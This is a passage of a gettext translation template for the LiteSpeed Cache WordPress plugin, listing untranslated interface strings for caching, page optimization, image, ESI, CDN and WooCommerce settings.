#: tpl/dash/dashboard.tpl.php:605 #: tpl/presets/standard.tpl.php:21 msgid "Browser Cache" msgstr "" #: src/lang.cls.php:110 msgid "Default Public Cache TTL" msgstr "" #: src/lang.cls.php:111 msgid "Default Private Cache TTL" msgstr "" #: src/lang.cls.php:112 msgid "Default Front Page TTL" msgstr "" #: src/lang.cls.php:113 msgid "Default Feed TTL" msgstr "" #: src/lang.cls.php:114 msgid "Default REST TTL" msgstr "" #: src/lang.cls.php:115 msgid "Default HTTP Status Code Page TTL" msgstr "" #: src/lang.cls.php:116 msgid "Browser Cache TTL" msgstr "" #: src/lang.cls.php:117 msgid "AJAX Cache TTL" msgstr "" #: src/lang.cls.php:118 msgid "Automatically Upgrade" msgstr "" #: src/lang.cls.php:119 msgid "Guest Mode" msgstr "" #: src/lang.cls.php:120 msgid "Guest Optimization" msgstr "" #: src/lang.cls.php:121 msgid "Notifications" msgstr "" #: src/lang.cls.php:122 msgid "Cache Logged-in Users" msgstr "" #: src/lang.cls.php:123 msgid "Cache Commenters" msgstr "" #: src/lang.cls.php:124 msgid "Cache REST API" msgstr "" #: src/lang.cls.php:125 msgid "Cache Login Page" msgstr "" #: src/lang.cls.php:126 #: tpl/cache/settings_inc.cache_mobile.tpl.php:90 msgid "Cache Mobile" msgstr "" #: src/lang.cls.php:127 #: tpl/cache/settings_inc.cache_mobile.tpl.php:92 msgid "List of Mobile User Agents" msgstr "" #: src/lang.cls.php:128 msgid "Private Cached URIs" msgstr "" #: src/lang.cls.php:129 msgid "Drop Query String" msgstr "" #: src/lang.cls.php:132 msgid "Method" msgstr "" #: src/lang.cls.php:133 msgid "Host" msgstr "" #: src/lang.cls.php:134 msgid "Port" msgstr "" #: src/lang.cls.php:135 msgid "Default Object Lifetime" msgstr "" #: src/lang.cls.php:136 msgid "Username" msgstr "" #: src/lang.cls.php:137 msgid "Password" msgstr "" #: src/lang.cls.php:138 msgid "Redis Database ID" msgstr "" #: src/lang.cls.php:139 msgid "Global Groups" msgstr "" #: src/lang.cls.php:140 msgid "Do Not Cache Groups" msgstr "" #: src/lang.cls.php:141 msgid "Persistent Connection" msgstr "" #: src/lang.cls.php:142 msgid "Cache WP-Admin" msgstr "" #: src/lang.cls.php:143 msgid "Store Transients" msgstr "" #: src/lang.cls.php:145 msgid "Purge All On Upgrade" msgstr "" #: src/lang.cls.php:146 msgid "Serve Stale" msgstr "" #: src/lang.cls.php:147 #: tpl/cache/settings-purge.tpl.php:131 msgid "Scheduled Purge URLs" msgstr "" #: src/lang.cls.php:148 #: tpl/cache/settings-purge.tpl.php:106 msgid "Scheduled Purge Time" msgstr "" #: src/lang.cls.php:149 msgid "Force Cache URIs" msgstr "" #: src/lang.cls.php:150 msgid "Force Public Cache URIs" msgstr "" #: src/lang.cls.php:151 msgid "Do Not Cache URIs" msgstr "" #: src/lang.cls.php:152 msgid "Do Not Cache Query Strings" msgstr "" #: src/lang.cls.php:153 msgid "Do Not Cache Categories" msgstr "" #: src/lang.cls.php:154 msgid "Do Not Cache Tags" msgstr "" #: src/lang.cls.php:155 msgid "Do Not Cache Roles" msgstr "" #: src/lang.cls.php:156 msgid "CSS Minify" msgstr "" #: src/lang.cls.php:157 msgid "CSS Combine" msgstr "" #: src/lang.cls.php:158 msgid "CSS Combine External and Inline" msgstr "" #: src/lang.cls.php:159 msgid "Generate UCSS" msgstr "" #: src/lang.cls.php:160 msgid "UCSS Inline" msgstr "" #: src/lang.cls.php:161 msgid "UCSS Selector Allowlist" msgstr "" #: src/lang.cls.php:162 msgid "UCSS Inline Excluded Files" msgstr "" #: src/lang.cls.php:163 msgid "UCSS URI Excludes" msgstr "" #: src/lang.cls.php:164 msgid "JS Minify" msgstr "" #: src/lang.cls.php:165 msgid "JS Combine" msgstr "" #: src/lang.cls.php:166 msgid "JS Combine External and Inline" msgstr "" #: src/lang.cls.php:167 msgid "HTML Minify" msgstr "" #: src/lang.cls.php:168 msgid "HTML Lazy Load Selectors" msgstr "" #: src/lang.cls.php:169 msgid "HTML Keep Comments" msgstr "" #: src/lang.cls.php:170 #: tpl/page_optm/settings_tuning_css.tpl.php:167 msgid "Load CSS Asynchronously" msgstr "" #: src/lang.cls.php:171 msgid "CCSS Per URL" msgstr "" #: src/lang.cls.php:172 msgid "Inline CSS Async Lib" msgstr "" #: src/lang.cls.php:173 #: tpl/presets/standard.tpl.php:46 msgid "Font Display Optimization" msgstr "" #: src/lang.cls.php:174 msgid "Load JS Deferred" msgstr "" #: src/lang.cls.php:175 msgid "Localize Resources" msgstr "" #: src/lang.cls.php:176 msgid "Localization Files" msgstr "" #: src/lang.cls.php:177 msgid "DNS Prefetch" msgstr "" #: src/lang.cls.php:178 msgid "DNS Prefetch Control" msgstr "" #: src/lang.cls.php:179 msgid "DNS Preconnect" msgstr "" #: src/lang.cls.php:180 msgid "CSS Excludes" msgstr "" #: src/lang.cls.php:181 msgid "JS Delayed Includes" msgstr "" #: src/lang.cls.php:182 msgid "JS Excludes" msgstr "" #: src/lang.cls.php:183 msgid "Remove Query Strings" msgstr "" #: src/lang.cls.php:184 msgid "Load Google Fonts Asynchronously" msgstr "" #: src/lang.cls.php:185 msgid "Remove Google Fonts" msgstr "" #: src/lang.cls.php:186 msgid "Critical CSS Rules" msgstr "" #: src/lang.cls.php:187 msgid "Separate CCSS Cache Post Types" msgstr "" #: src/lang.cls.php:188 msgid "Separate CCSS Cache URIs" msgstr "" #: src/lang.cls.php:189 msgid "CCSS Selector Allowlist" msgstr "" #: src/lang.cls.php:190 msgid "JS Deferred / Delayed Excludes" msgstr "" #: src/lang.cls.php:191 msgid "Guest Mode JS Excludes" msgstr "" #: src/lang.cls.php:192 #: tpl/presets/standard.tpl.php:51 msgid "Remove WordPress Emoji" msgstr "" #: src/lang.cls.php:193 #: tpl/presets/standard.tpl.php:52 msgid "Remove Noscript Tags" msgstr "" #: src/lang.cls.php:194 msgid "URI Excludes" msgstr "" #: src/lang.cls.php:195 msgid "Optimize for Guests Only" msgstr "" #: src/lang.cls.php:196 msgid "Role Excludes" msgstr "" #: src/lang.cls.php:199 msgid "Gravatar Cache Cron" msgstr "" #: src/lang.cls.php:200 msgid "Gravatar Cache TTL" msgstr "" #: src/lang.cls.php:202 msgid "Lazy Load Images" msgstr "" #: src/lang.cls.php:203 msgid "Lazy Load Image Excludes" msgstr "" #: src/lang.cls.php:204 msgid "Lazy Load Image Class Name Excludes" msgstr "" #: src/lang.cls.php:205 msgid "Lazy Load Image Parent Class Name Excludes" msgstr "" #: src/lang.cls.php:206 msgid "Lazy Load Iframe Class Name Excludes" msgstr "" #: src/lang.cls.php:207 msgid "Lazy Load Iframe Parent Class Name Excludes" msgstr "" #: src/lang.cls.php:208 msgid "Lazy Load URI Excludes" msgstr "" #: src/lang.cls.php:209 msgid "LQIP Excludes" msgstr "" #: src/lang.cls.php:210 msgid "Basic Image Placeholder" msgstr "" #: src/lang.cls.php:211 msgid "Responsive Placeholder" msgstr "" #: src/lang.cls.php:212 msgid "Responsive Placeholder Color" msgstr "" #: src/lang.cls.php:213 msgid "Responsive Placeholder SVG" msgstr "" #: src/lang.cls.php:214 msgid "LQIP Cloud Generator" msgstr "" #: src/lang.cls.php:215 msgid "LQIP Quality" msgstr "" #: src/lang.cls.php:216 msgid "LQIP Minimum Dimensions" msgstr "" #: src/lang.cls.php:217 msgid "Generate LQIP In Background" msgstr "" #: src/lang.cls.php:218 msgid "Lazy Load Iframes" msgstr "" #: src/lang.cls.php:219 msgid "Add Missing Sizes" msgstr "" #: src/lang.cls.php:220 #: src/metabox.cls.php:42 #: src/metabox.cls.php:43 #: tpl/page_optm/settings_vpi.tpl.php:23 msgid "Viewport Images" msgstr "" #: src/lang.cls.php:221 msgid "Viewport Images Cron" msgstr "" #: src/lang.cls.php:222 msgid "Auto Rescale Original Images" msgstr "" #: src/lang.cls.php:224 msgid "Auto Request Cron" msgstr "" #: src/lang.cls.php:225 msgid "Optimize Original Images" msgstr "" #: src/lang.cls.php:226 msgid "Remove Original Backups" msgstr "" #: src/lang.cls.php:227 msgid "Next-Gen Image Format" msgstr "" #: src/lang.cls.php:228 msgid "Optimize Losslessly" msgstr "" #: src/lang.cls.php:229 msgid "Optimize Image Sizes" msgstr "" #: src/lang.cls.php:230 msgid "Preserve EXIF/XMP data" msgstr "" #: src/lang.cls.php:231 msgid "WebP/AVIF Attribute To Replace" msgstr "" #: src/lang.cls.php:232 msgid "WebP/AVIF For Extra srcset" msgstr "" #: src/lang.cls.php:233 msgid "WordPress Image Quality Control" msgstr "" #: src/lang.cls.php:234 #: tpl/esi_widget_edit.php:43 msgid "Enable ESI" msgstr "" #: src/lang.cls.php:235 msgid "Cache Admin Bar" msgstr "" #: src/lang.cls.php:236 msgid "Cache Comment Form" msgstr "" #: src/lang.cls.php:237 msgid "ESI Nonces" msgstr "" #: src/lang.cls.php:238 #: tpl/page_optm/settings_css.tpl.php:140 #: tpl/page_optm/settings_css.tpl.php:277 #: tpl/page_optm/settings_vpi.tpl.php:88 msgid "Vary Group" msgstr "" #: src/lang.cls.php:239 msgid "Purge All Hooks" msgstr "" #: src/lang.cls.php:240 msgid "Improve HTTP/HTTPS Compatibility" msgstr "" #: src/lang.cls.php:241 msgid "Instant Click" msgstr "" #: src/lang.cls.php:242 msgid "Do Not Cache Cookies" msgstr "" #: src/lang.cls.php:243 msgid "Do Not Cache User Agents" msgstr "" #: src/lang.cls.php:244 msgid "Login Cookie" msgstr "" #: src/lang.cls.php:245 msgid "Vary Cookies" msgstr "" #: src/lang.cls.php:247 msgid "Frontend Heartbeat Control" msgstr "" #: src/lang.cls.php:248 msgid "Frontend Heartbeat TTL" msgstr "" #: src/lang.cls.php:249 msgid "Backend Heartbeat Control" msgstr "" #: src/lang.cls.php:250 msgid "Backend Heartbeat TTL" msgstr "" #: src/lang.cls.php:251 msgid "Editor Heartbeat" msgstr "" #: src/lang.cls.php:252 msgid "Editor Heartbeat TTL" msgstr "" #: src/lang.cls.php:254 msgid "Use CDN Mapping" msgstr "" #: src/lang.cls.php:255 msgid "CDN URL" msgstr "" #: src/lang.cls.php:256 msgid "Include Images" msgstr "" #: src/lang.cls.php:257 msgid "Include CSS" msgstr "" #: src/lang.cls.php:258 msgid "Include JS" msgstr "" #: src/lang.cls.php:259 #: tpl/cdn/other.tpl.php:113 msgid "Include File Types" msgstr "" #: src/lang.cls.php:260 msgid "HTML Attribute To Replace" msgstr "" #: src/lang.cls.php:261 msgid "Original URLs" msgstr "" #: src/lang.cls.php:262 msgid "Included Directories" msgstr "" #: src/lang.cls.php:263 msgid "Exclude Path" msgstr "" #: src/lang.cls.php:264 msgid "Cloudflare API" msgstr "" #: src/lang.cls.php:265 msgid "Clear Cloudflare cache" msgstr "" #: src/lang.cls.php:268 msgid "Crawl Interval" msgstr "" #: src/lang.cls.php:269 msgid "Server Load Limit" msgstr "" #: src/lang.cls.php:270 msgid "Role Simulation" msgstr "" #: src/lang.cls.php:271 msgid "Cookie Simulation" msgstr "" #: src/lang.cls.php:272 msgid "Custom Sitemap" msgstr "" #: src/lang.cls.php:274 msgid "Disable All Features" msgstr "" #: src/lang.cls.php:275 #: tpl/toolbox/log_viewer.tpl.php:18 msgid "Debug Log" msgstr "" #: src/lang.cls.php:276 msgid "Admin IPs" msgstr "" #: src/lang.cls.php:277 msgid "Debug Level" msgstr "" #: src/lang.cls.php:278 msgid "Log File Size Limit" msgstr "" #: src/lang.cls.php:279 msgid "Collapse Query Strings" msgstr "" #: src/lang.cls.php:280 msgid "Debug URI Includes" msgstr "" #: src/lang.cls.php:281 msgid "Debug URI Excludes" msgstr "" #: src/lang.cls.php:282 msgid "Debug String Excludes" msgstr "" #: src/lang.cls.php:284 msgid "Revisions Max Number" msgstr "" #: src/lang.cls.php:285 msgid "Revisions Max Age" msgstr "" #: src/media.cls.php:361 msgid "LiteSpeed Optimization" msgstr "" #: src/media.cls.php:416 #: src/media.cls.php:454 #: src/media.cls.php:483 #: src/media.cls.php:527 msgid "(optm)" msgstr "" #: src/media.cls.php:417 msgid "Currently using optimized version of file." msgstr "" #: src/media.cls.php:417 #: src/media.cls.php:487 msgid "Click to switch to original (unoptimized) version." msgstr "" #: src/media.cls.php:420 #: src/media.cls.php:490 msgid "(non-optm)" msgstr "" #: src/media.cls.php:421 msgid "Currently using original (unoptimized) version of file." msgstr "" #: src/media.cls.php:421 #: src/media.cls.php:494 msgid "Click to switch to optimized version." msgstr "" #: src/media.cls.php:429 msgid "Original file reduced by %1$s (%2$s)" msgstr "" #: src/media.cls.php:438 msgid "Orig saved %s" msgstr "" #: src/media.cls.php:453 #: src/media.cls.php:525 msgid "Using optimized version of file. " msgstr "" #: src/media.cls.php:453 msgid "No backup of original file exists." msgstr "" #: src/media.cls.php:458 msgid "Congratulation! Your file was already optimized" msgstr "" #: src/media.cls.php:460 msgid "Orig %s" msgstr "" #: src/media.cls.php:461 msgid "(no savings)" msgstr "" #: src/media.cls.php:464 msgid "Orig" msgstr "" #: src/media.cls.php:485 msgid "Currently using optimized version of AVIF file." msgstr "" #: src/media.cls.php:486 msgid "Currently using optimized version of WebP file." msgstr "" #: src/media.cls.php:492 msgid "Currently using original (unoptimized) version of AVIF file." msgstr "" #: src/media.cls.php:493 msgid "Currently using original (unoptimized) version of WebP file." msgstr "" #: src/media.cls.php:502 msgid "AVIF file reduced by %1$s (%2$s)" msgstr "" #: src/media.cls.php:502 msgid "WebP file reduced by %1$s (%2$s)" msgstr "" #: src/media.cls.php:510 msgid "AVIF saved %s" msgstr "" #: src/media.cls.php:510 msgid "WebP saved %s" msgstr "" #: src/media.cls.php:526 msgid "No backup of unoptimized AVIF file exists." msgstr "" #: src/media.cls.php:526 msgid "No backup of unoptimized WebP file exists." msgstr "" #: src/media.cls.php:541 msgid "Restore from backup" msgstr "" #: src/metabox.cls.php:39 msgid "Disable Cache" msgstr "" #: src/metabox.cls.php:40 msgid "Disable Image Lazyload" msgstr "" #: src/metabox.cls.php:41 msgid "Disable VPI" msgstr "" #: src/metabox.cls.php:43 msgid "Mobile" msgstr "" #: src/object-cache.cls.php:714 msgid "Redis encountered a fatal error: %1$s (code: %2$d)" msgstr "" #: src/placeholder.cls.php:169 msgid "LQIP" msgstr "" #: src/placeholder.cls.php:233 msgid "LQIP image preview for size %s" msgstr "" #: src/purge.cls.php:234 msgid "Purged all caches successfully." msgstr "" #: src/purge.cls.php:270 msgid "Notified LiteSpeed Web Server to purge all LSCache entries." msgstr "" #: src/purge.cls.php:291 msgid "Cleaned all Critical CSS files." msgstr "" #: src/purge.cls.php:312 msgid "Cleaned all Unique CSS files." msgstr "" #: src/purge.cls.php:359 msgid "Cleaned all LQIP files." msgstr "" #: src/purge.cls.php:393 msgid "Cleaned all VPI data." msgstr "" #: src/purge.cls.php:414 msgid "Cleaned all Gravatar files." msgstr "" #: src/purge.cls.php:434 msgid "Cleaned all localized resource entries." msgstr "" #: src/purge.cls.php:471 msgid "Notified LiteSpeed Web Server to purge CSS/JS entries." msgstr "" #: src/purge.cls.php:491 msgid "OPcache is not enabled." msgstr "" #: src/purge.cls.php:504 msgid "OPcache is restricted by %s setting." msgstr "" #: src/purge.cls.php:517 msgid "Reset the OPcache failed." msgstr "" #: src/purge.cls.php:531 msgid "Reset the entire OPcache successfully." msgstr "" #: src/purge.cls.php:563 msgid "Object cache is not enabled." msgstr "" #: src/purge.cls.php:576 msgid "Purge all object caches successfully." msgstr "" #: src/purge.cls.php:793 msgid "Notified LiteSpeed Web Server to purge the front page." msgstr "" #: src/purge.cls.php:809 msgid "Notified LiteSpeed Web Server to purge all pages." msgstr "" #: src/purge.cls.php:832 msgid "Notified LiteSpeed Web Server to purge error pages." msgstr "" #: src/purge.cls.php:863 msgid "Purge category %s" msgstr "" #: src/purge.cls.php:894 msgid "Purge tag %s" msgstr "" #: src/purge.cls.php:931 msgid "Purge url %s" msgstr "" #: src/root.cls.php:198 msgid "All QUIC.cloud service queues have been cleared." msgstr "" #: src/task.cls.php:268 msgid "Every 15 Minutes" msgstr "" #: src/task.cls.php:289 msgid "LiteSpeed Crawler Cron" msgstr "" #: src/tool.cls.php:43 #: src/tool.cls.php:54 msgid "Failed to detect IP" msgstr "" #: src/utility.cls.php:214 msgid "right now" msgstr "" #: src/utility.cls.php:214 msgid "just now" msgstr "" #: src/utility.cls.php:217 msgid " %s ago" msgstr "" #: thirdparty/litespeed-check.cls.php:100 #: thirdparty/litespeed-check.cls.php:165 msgid "Please consider disabling the following detected plugins, as they may conflict with LiteSpeed Cache:" msgstr "" #: thirdparty/woocommerce.content.tpl.php:19 msgid "WooCommerce Settings" msgstr "" #: thirdparty/woocommerce.content.tpl.php:24 #: tpl/cache/settings-advanced.tpl.php:21 #: tpl/cache/settings_inc.browser.tpl.php:23 #: tpl/toolbox/beta_test.tpl.php:42 #: tpl/toolbox/heartbeat.tpl.php:24 #: tpl/toolbox/report.tpl.php:46 msgid "NOTICE:" msgstr "" #: thirdparty/woocommerce.content.tpl.php:25 msgid "After verifying that the cache works in general, please test the cart." msgstr "" #. translators: %s: link attributes #: thirdparty/woocommerce.content.tpl.php:30 msgid "To test the cart, visit the %sFAQ%s." msgstr "" #: thirdparty/woocommerce.content.tpl.php:36 msgid "By default, the My Account, Checkout, and Cart pages are automatically excluded from caching. Misconfiguration of page associations in WooCommerce settings may cause some pages to be erroneously excluded." msgstr "" #: thirdparty/woocommerce.content.tpl.php:44 msgid "Product Update Interval" msgstr "" #: thirdparty/woocommerce.content.tpl.php:49 msgid "Purge product on changes to the quantity or stock status." msgstr "" #: thirdparty/woocommerce.content.tpl.php:49 msgid "Purge categories only when stock status changes." msgstr "" #: thirdparty/woocommerce.content.tpl.php:50 msgid "Purge product and categories only when the stock status changes." msgstr "" #: thirdparty/woocommerce.content.tpl.php:51 msgid "Purge product only when the stock status changes." msgstr "" #: thirdparty/woocommerce.content.tpl.php:51 msgid "Do not purge categories on changes to the quantity or stock status." msgstr "" #: thirdparty/woocommerce.content.tpl.php:52 msgid "Always purge both product and categories on changes to the quantity or stock status." msgstr "" #: thirdparty/woocommerce.content.tpl.php:72 msgid "Determines how changes in product quantity and product stock status affect product pages and their associated category pages." msgstr "" #: thirdparty/woocommerce.content.tpl.php:80 msgid "Vary for Mini Cart" msgstr "" #: thirdparty/woocommerce.content.tpl.php:88 msgid "Generate a separate vary cache copy for the mini cart when the cart is not empty." msgstr "" #: thirdparty/woocommerce.content.tpl.php:89 msgid "If your theme does not use JS to update the mini cart, you must enable this option to display the correct cart contents." msgstr "" #: tpl/banner/cloud_news.tpl.php:30 #: tpl/banner/cloud_news.tpl.php:41 msgid "Install" msgstr "" #: tpl/banner/cloud_news.tpl.php:51 #: tpl/banner/cloud_promo.tpl.php:73 msgid "Dismiss this notice" msgstr "" #: tpl/banner/cloud_promo.tpl.php:22 msgid "You just unlocked a promotion from QUIC.cloud!" msgstr "" #: tpl/banner/cloud_promo.tpl.php:26 msgid "Spread the love and earn %s credits to use in our QUIC.cloud online services." msgstr "" #: tpl/banner/cloud_promo.tpl.php:35 msgid "Send to twitter to get %s bonus" msgstr "" #: tpl/banner/cloud_promo.tpl.php:40 #: tpl/page_optm/settings_tuning_css.tpl.php:69 #: tpl/page_optm/settings_tuning_css.tpl.php:144 msgid "Learn more" msgstr "" #: tpl/banner/cloud_promo.tpl.php:45 msgid "Tweet preview" msgstr "" #: tpl/banner/cloud_promo.tpl.php:61 msgid "Tweet this" msgstr "" #: tpl/banner/new_version.php:58 msgid "New Version Available!" msgstr "" #: tpl/banner/new_version.php:66 msgid "New release %s is available now." msgstr "" #: tpl/banner/new_version.php:77 #: tpl/banner/new_version_dev.tpl.php:41 #: tpl/toolbox/beta_test.tpl.php:88 msgid "Upgrade" msgstr "" #: tpl/banner/new_version.php:87 msgid "Turn On Auto Upgrade" msgstr "" #: tpl/banner/new_version.php:93 msgid "Maybe Later" msgstr "" #: tpl/banner/new_version.php:113 #: tpl/banner/score.php:141 #: tpl/banner/slack.php:48 msgid "Dismiss this notice." msgstr "" #: tpl/banner/new_version_dev.tpl.php:22 msgid "New Developer Version Available!" msgstr "" #: tpl/banner/new_version_dev.tpl.php:30 msgid "New developer version %s is available now." msgstr "" #: tpl/banner/score.php:36 msgid "Thank You for Using the LiteSpeed Cache Plugin!" msgstr "" #: tpl/banner/score.php:40 #: tpl/dash/dashboard.tpl.php:375 msgid "Page Load Time" msgstr "" #: tpl/banner/score.php:45 #: tpl/banner/score.php:79 #: tpl/dash/dashboard.tpl.php:395 #: tpl/dash/dashboard.tpl.php:471 msgid "Before" msgstr "" #: tpl/banner/score.php:53 #: tpl/banner/score.php:87 #: tpl/dash/dashboard.tpl.php:403 #: tpl/dash/dashboard.tpl.php:479 msgid "After" msgstr "" #: tpl/banner/score.php:62 #: tpl/banner/score.php:96 #: tpl/dash/dashboard.tpl.php:411 #: tpl/dash/dashboard.tpl.php:487 msgid "Improved by" msgstr "" #: tpl/banner/score.php:74 #: tpl/dash/dashboard.tpl.php:456 msgid "PageSpeed Score" msgstr "" #: tpl/banner/score.php:112 msgid "Sure I'd love to review!" msgstr "" #: tpl/banner/score.php:116 msgid "I've already left a review" msgstr "" #: tpl/banner/score.php:117 msgid "Maybe later" msgstr "" #: tpl/banner/score.php:121 msgid "Created with ❤️ by LiteSpeed team." msgstr "" #: tpl/banner/score.php:122 msgid "Support forum" msgstr "" #: tpl/banner/score.php:122 msgid "Submit a ticket" msgstr "" #: tpl/banner/slack.php:20 msgid "Welcome to LiteSpeed" msgstr "" #: tpl/banner/slack.php:24 msgid "Want to connect with other LiteSpeed users?" msgstr "" #. translators: %s: Link to LiteSpeed Slack community #: tpl/banner/slack.php:28 msgid "Join the %s community." msgstr "" #: tpl/banner/slack.php:40 msgid "Join Us on Slack" msgstr "" #: tpl/cache/entry.tpl.php:18 #: tpl/cache/entry.tpl.php:68 #: tpl/toolbox/entry.tpl.php:16 #: tpl/toolbox/purge.tpl.php:150 msgid "Purge" msgstr "" #: tpl/cache/entry.tpl.php:19 #: tpl/cache/entry.tpl.php:69 msgid "Excludes" msgstr "" #: tpl/cache/entry.tpl.php:20 #: tpl/cache/entry.tpl.php:74 msgid "Object" msgstr "" #: tpl/cache/entry.tpl.php:21 #: tpl/cache/entry.tpl.php:75 msgid "Browser" msgstr "" #: tpl/cache/entry.tpl.php:22 #: tpl/cache/entry.tpl.php:78 #: tpl/toolbox/settings-debug.tpl.php:117 msgid "Advanced" msgstr "" #: tpl/cache/entry.tpl.php:28 msgid "LiteSpeed Cache Network Cache Settings" msgstr "" #: tpl/cache/entry.tpl.php:67 #: tpl/cache/settings-ttl.tpl.php:15 msgid "TTL" msgstr "" #: tpl/cache/entry.tpl.php:70 msgid "ESI" msgstr "" #: tpl/cache/entry.tpl.php:100 msgid "LiteSpeed Cache Settings" msgstr "" #: tpl/cache/more_settings_tip.tpl.php:22 #: tpl/cache/settings-excludes.tpl.php:71 #: tpl/cache/settings-excludes.tpl.php:104 #: tpl/cdn/other.tpl.php:79 #: tpl/crawler/settings.tpl.php:76 #: tpl/crawler/settings.tpl.php:86 msgid "NOTE" msgstr "" #. translators: %s: LiteSpeed Cache menu label #: tpl/cache/more_settings_tip.tpl.php:27 msgid "More settings available under %s menu" msgstr "" #: tpl/cache/network_settings-advanced.tpl.php:17 #: tpl/cache/settings-advanced.tpl.php:16 msgid "Advanced Settings" msgstr "" #: tpl/cache/network_settings-cache.tpl.php:17 #: tpl/cache/settings-cache.tpl.php:15 msgid "Cache Control Settings" msgstr "" #: tpl/cache/network_settings-cache.tpl.php:24 msgid "Network Enable Cache" msgstr "" #: tpl/cache/network_settings-cache.tpl.php:28 msgid "Enabling LiteSpeed Cache for WordPress here enables the cache for the network." msgstr "" #: tpl/cache/network_settings-cache.tpl.php:29 msgid "It is STRONGLY recommended that the compatibility with other plugins on a single/few sites is tested first." msgstr "" #: tpl/cache/network_settings-cache.tpl.php:30 msgid "This is to ensure compatibility prior to enabling the cache for all sites." msgstr "" #: tpl/cache/network_settings-excludes.tpl.php:17 #: tpl/cache/settings-excludes.tpl.php:15 msgid "Exclude Settings" msgstr "" #: tpl/cache/network_settings-purge.tpl.php:17 #: tpl/cache/settings-purge.tpl.php:15 msgid "Purge Settings" msgstr "" #: tpl/cache/settings-advanced.tpl.php:22 msgid "These settings are meant for ADVANCED USERS ONLY." msgstr "" #: tpl/cache/settings-advanced.tpl.php:39 msgid "Specify an AJAX action in POST/GET and the number of seconds to cache that request, separated by a space." msgstr "" #: tpl/cache/settings-advanced.tpl.php:57 msgid "Enable this option if you are using both HTTP and HTTPS in the same domain and are noticing cache irregularities." msgstr "" #: tpl/cache/settings-advanced.tpl.php:71 msgid "When a visitor hovers over a page link, preload that page. This will speed up the visit to that link." msgstr "" #: tpl/cache/settings-advanced.tpl.php:76 msgid "This will generate extra requests to the server, which will increase server load." msgstr "" #: tpl/cache/settings-cache.tpl.php:28 msgid "Use Network Admin Setting" msgstr "" #. translators: %s: Link tags #: tpl/cache/settings-cache.tpl.php:36 msgid "Please visit the %sInformation%s page on how to test the cache." msgstr "" #: tpl/cache/settings-cache.tpl.php:42 #: tpl/crawler/settings.tpl.php:113 #: tpl/crawler/settings.tpl.php:133 #: tpl/crawler/summary.tpl.php:208 #: tpl/page_optm/entry.tpl.php:42 #: tpl/toolbox/settings-debug.tpl.php:47 msgid "NOTICE" msgstr "" #: tpl/cache/settings-cache.tpl.php:42 msgid "When disabling the cache, all cached entries for this site will be purged." msgstr "" #: tpl/cache/settings-cache.tpl.php:45 msgid "The network admin setting can be overridden here." msgstr "" #: tpl/cache/settings-cache.tpl.php:49 msgid "With QUIC.cloud CDN enabled, you may still be seeing cache headers from your local server." msgstr "" #: tpl/cache/settings-cache.tpl.php:63 msgid "Privately cache frontend pages for logged-in users. (LSWS %s required)" msgstr "" #: tpl/cache/settings-cache.tpl.php:76 msgid "Privately cache commenters that have pending comments. Disabling this option will serve non-cacheable pages to commenters. (LSWS %s required)" msgstr "" #: tpl/cache/settings-cache.tpl.php:89 msgid "Cache requests made by WordPress REST API calls." msgstr "" #: tpl/cache/settings-cache.tpl.php:102 msgid "Disabling this option may negatively affect performance." msgstr "" #: tpl/cache/settings-cache.tpl.php:119 msgid "URI Paths containing these strings will NOT be cached as public." msgstr "" #: tpl/cache/settings-cache.tpl.php:133 msgid "Paths containing these strings will be cached regardless of no-cacheable settings." msgstr "" #: tpl/cache/settings-cache.tpl.php:136 #: tpl/cache/settings-cache.tpl.php:161 msgid "To define a custom TTL for a URI, add a space followed by the TTL value to the end of the URI." msgstr "" #: tpl/cache/settings-cache.tpl.php:139 #: tpl/cache/settings-cache.tpl.php:164 msgid "For example, %1$s defines a TTL of %2$s seconds for %3$s." msgstr "" #: tpl/cache/settings-cache.tpl.php:158 msgid "Paths containing these strings will be forced to public cached regardless of no-cacheable settings." msgstr "" #: tpl/cache/settings-esi.tpl.php:15 msgid "ESI Settings" msgstr "" #: tpl/cache/settings-esi.tpl.php:20 msgid "With ESI (Edge Side Includes), pages may be served from cache for logged-in users." msgstr "" #: tpl/cache/settings-esi.tpl.php:21 msgid "ESI allows you to designate parts of your dynamic page as separate fragments that are then assembled together to make the whole page. In other words, ESI lets you “punch holes” in a page, and then fill those holes with content that may be cached privately, cached publicly with its own TTL, or not cached at all." msgstr "" #: tpl/cache/settings-esi.tpl.php:22 msgid "WpW: Private Cache vs. Public Cache" msgstr "" #: tpl/cache/settings-esi.tpl.php:26 msgid "You can turn shortcodes into ESI blocks." msgstr "" #: tpl/cache/settings-esi.tpl.php:29 msgid "Replace %1$s with %2$s." msgstr "" #: tpl/cache/settings-esi.tpl.php:37 msgid "ESI sample for developers" msgstr "" #: tpl/cache/settings-esi.tpl.php:45 #: tpl/cdn/cf.tpl.php:100 #: tpl/crawler/summary.tpl.php:60 #: tpl/inc/check_cache_disabled.php:38 #: tpl/inc/check_if_network_disable_all.php:28 #: tpl/page_optm/settings_css.tpl.php:77 #: tpl/page_optm/settings_css.tpl.php:211 #: tpl/page_optm/settings_localization.tpl.php:21 msgid "WARNING" msgstr "" #: tpl/cache/settings-esi.tpl.php:46 msgid "These options are only available with LiteSpeed Enterprise Web Server or QUIC.cloud CDN." msgstr "" #: tpl/cache/settings-esi.tpl.php:59 msgid "Turn ON to cache public pages for logged in users, and serve the Admin Bar and Comment Form via ESI blocks. These two blocks will be uncached unless enabled below." msgstr "" #: tpl/cache/settings-esi.tpl.php:72 msgid "Cache the built-in Admin Bar ESI block." msgstr "" #: tpl/cache/settings-esi.tpl.php:85 msgid "Cache the built-in Comment Form ESI block." msgstr "" #: tpl/cache/settings-esi.tpl.php:100 msgid "The list will be merged with the predefined nonces in your local data file." msgstr "" #: tpl/cache/settings-esi.tpl.php:101 msgid "The latest data file is" msgstr "" #: tpl/cache/settings-esi.tpl.php:104 #: tpl/page_optm/settings_media_exc.tpl.php:37 #: tpl/page_optm/settings_tuning.tpl.php:49 #: tpl/page_optm/settings_tuning.tpl.php:69 #: tpl/page_optm/settings_tuning.tpl.php:90 #: tpl/page_optm/settings_tuning.tpl.php:111 #: tpl/page_optm/settings_tuning.tpl.php:130 #: tpl/page_optm/settings_tuning_css.tpl.php:36 #: tpl/page_optm/settings_tuning_css.tpl.php:97 msgid "Filter %s is supported." msgstr "" #: tpl/cache/settings-esi.tpl.php:108 msgid "The above nonces will be converted to ESI automatically." msgstr "" #: tpl/cache/settings-esi.tpl.php:110 msgid "An optional second parameter may be used to specify cache control. Use a space to separate" msgstr "" #: tpl/cache/settings-esi.tpl.php:113 #: tpl/cache/settings-purge.tpl.php:111 #: tpl/cdn/other.tpl.php:169 msgid "Wildcard %1$s supported (match zero or more characters). For example, to match %2$s and %3$s, use 